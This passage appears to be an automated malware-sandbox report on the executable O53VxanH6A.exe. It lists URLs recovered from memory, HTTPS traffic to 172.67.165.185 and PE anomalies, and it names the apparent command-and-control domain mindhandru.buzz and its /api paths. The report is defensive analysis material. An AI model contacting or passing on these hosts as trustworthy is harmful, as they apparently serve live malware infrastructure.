Source: O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_91.12.dr	String found in binary or memory: http://schema.org/Organization
Source: O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_91.12.dr, chromecache_74.12.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_91.12.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_91.12.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_91.12.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_91.12.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_91.12.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_91.12.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_91.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_91.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_91.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_91.12.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_91.12.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_91.12.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_91.12.dr	String found in binary or memory: https://github.com/nschonni
Source: O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_91.12.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: O53VxanH6A.exe, 00000000.00000003.1356073175.0000000001072000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1463830965.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624717886.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481038436.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624419787.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624629260.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1521960777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356073175.0000000001094000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1462767540.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481322827.0000000001105000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: O53VxanH6A.exe, 00000000.00000003.1462700318.000000000589B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/1r
Source: O53VxanH6A.exe, 00000000.00000003.1433142361.000000000589B000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1409220594.000000000589B000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1432275951.0000000005899000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1407361973.000000000589A000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1407592976.000000000589A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/3P
Source: O53VxanH6A.exe, 00000000.00000003.1481038436.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481322827.0000000001105000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/EDRHVD
Source: O53VxanH6A.exe, 00000000.00000003.1624348401.0000000005899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/Ky
Source: O53VxanH6A.exe, O53VxanH6A.exe, 00000000.00000003.1462767540.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1382732866.000000000589E000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1383186746.000000000589A000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356073175.0000000001086000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1384266163.000000000589A000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481038436.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481322827.00000000010F1000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1382866128.0000000005891000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1521960777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356073175.0000000001094000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481322827.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481038436.00000000010F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: O53VxanH6A.exe, 00000000.00000003.1356073175.0000000001094000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apis/
Source: O53VxanH6A.exe, 00000000.00000003.1462767540.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apix
Source: O53VxanH6A.exe, 00000000.00000003.1624348401.0000000005899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/k
Source: O53VxanH6A.exe, 00000000.00000003.1433142361.000000000589B000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1432275951.0000000005899000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1462700318.000000000589B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/lV
Source: O53VxanH6A.exe, 00000000.00000003.1356073175.0000000001094000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: O53VxanH6A.exe, 00000000.00000003.1624717886.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624419787.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624629260.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/t
Source: O53VxanH6A.exe, 00000000.00000003.1463830965.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1462767540.0000000001105000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ws
Source: O53VxanH6A.exe, 00000000.00000003.1407361973.000000000589A000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481322827.00000000010F1000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481038436.00000000010F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_87.12.dr	String found in binary or memory: https://schema.org
Source: O53VxanH6A.exe, 00000000.00000003.1409246125.00000000059AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: O53VxanH6A.exe, 00000000.00000003.1409246125.00000000059AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_87.12.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: O53VxanH6A.exe, 00000000.00000003.1409246125.00000000059AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: O53VxanH6A.exe, 00000000.00000003.1409246125.00000000059AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: O53VxanH6A.exe, 00000000.00000003.1409246125.00000000059AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: O53VxanH6A.exe, 00000000.00000003.1409246125.00000000059AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: O53VxanH6A.exe, 00000000.00000003.1409246125.00000000059AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49753 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: O53VxanH6A.exe	Static PE information: section name:
Source: O53VxanH6A.exe	Static PE information: section name: .rsrc
Source: O53VxanH6A.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EAC28	0_3_010EAC28
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EAC28	0_3_010EAC28
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EAC28	0_3_010EAC28
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EAC28	0_3_010EAC28
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EAC28	0_3_010EAC28
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EAC28	0_3_010EAC28
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EAC28	0_3_010EAC28
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EAC28	0_3_010EAC28
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EAC28	0_3_010EAC28
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EAC28	0_3_010EAC28

Source: O53VxanH6A.exe, 00000000.00000003.1582111221.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1587860400.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1579611863.0000000005D3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1580997908.0000000005D36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1574043741.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1576276642.0000000005D40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1575048119.0000000005D37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1577862043.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1576665032.0000000005E02000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1580425889.0000000005E24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1588535374.0000000005D45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1575503734.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1587142091.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1581632333.0000000005E31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1576401519.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1576536269.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1586013160.0000000005D36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1578465056.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1591594139.0000000005FC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1590848239.0000000005E76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1591409062.0000000005E77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1574627155.0000000005DE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000002.1700028789.0000000006106000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1573310794.000000000599C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1573660183.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1590107859.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1589582624.0000000005D36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1590655152.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1580752927.0000000005F0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1582407328.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1575647626.0000000005DEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1574902840.0000000005DDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1592462305.0000000005E7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1575233774.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1571489923.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
